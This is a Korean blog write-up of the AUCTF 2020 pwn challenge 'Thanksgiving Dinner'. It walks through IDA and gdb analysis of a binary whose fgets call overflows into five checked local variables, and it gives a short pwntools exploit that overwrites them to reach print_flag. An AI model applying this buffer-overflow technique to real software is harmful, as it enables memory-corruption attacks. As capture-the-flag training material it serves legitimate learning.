CTF/ETC

AUCTF [Pwn] - Thanksgiving Dinner

raar 2020. 4. 22. 00:07

문제는 다음과 같다. 이게 조금 예전에 열렸던 CTF인데 뒷북이지만 적어서 올려 본당

 

아, 참고로 저 nc 서버는 닫혀 있으므로 remote 익스는 불가능 하당 ㅜㅜ

 

먼저 ida로 보면,

 

 

main 함수에서 vulnerable 함수를 호출한다. 따라가 보면,

 

 

 

 

int 형 변수 5개 만들어 놓고, if 문으로 저 5개 값을 비교해서 전부 참이면, print_flag() 함수를 호출한다. 그냥 간단한 지역 변수 덮는 문제 임을 알 수 있다. fgets로 입력 넣을 때 저 값들을 조건문에 맡게 변조해두면 된다. 아, 참고로 저 print_flag 함수를 보면,

 

 

 

 

flag.txt 파일을 읽어서 출력 하므로 나는 다음과 같이 flag.txt 파일을 만들었당

 

 

 

 

 

 

gdb를 통해 vulnerable 함수에서 검사하는 루틴을 보면 다음과 같다. 다음 조건에 전부 맞게끔 익스를 짜면 될 것이다.

 

 

익스 코드는 다음과 같다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
 
= process('./turkey')
 
p.recvuntil("Sorry that's all I got!")
 
payload = ''
payload += 'A'*16
payload += p32(0x2a)
payload += p32(0x15)
payload += p32(0x667463)
payload += p32(0xffffffe7)
payload += p32(0x1337)
 
p.sendline(payload)
 
p.interactive()
 
 

 

 

저 fgets를 보면 최대 36byte만큼 입력을 줄 수 있음을 알 수 있는데 딱 36byte에 맞추어서 입력을 주어 풀었다.

 

 

 

다음과 같이 아까 만들어두었던 flag가 출력됨을 볼 수 있다